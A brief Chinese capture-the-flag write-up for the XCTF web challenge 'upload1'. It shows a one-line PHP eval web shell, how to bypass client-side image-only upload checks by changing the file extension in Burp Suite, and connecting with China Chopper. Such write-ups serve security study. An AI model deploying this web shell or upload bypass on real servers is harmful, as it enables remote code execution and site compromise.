攻防世界 web upload1 write up

查看源代码发现又js代码，只能上传jpg与png格式的文件。 REQUEST包含了GET,POST,COOKIE是一个整合命令 2. 新建一个1.txt，写入php一句话:<?php @eval($_REQUEST[‘c’]);?>，然后修改后缀为.png或.jpg。然后再上传途中burp suite抓包修改后缀为.php实现对文件格式要求的绕过。 3. 上传成功 菜刀连接得到flag

>>阅读原文<<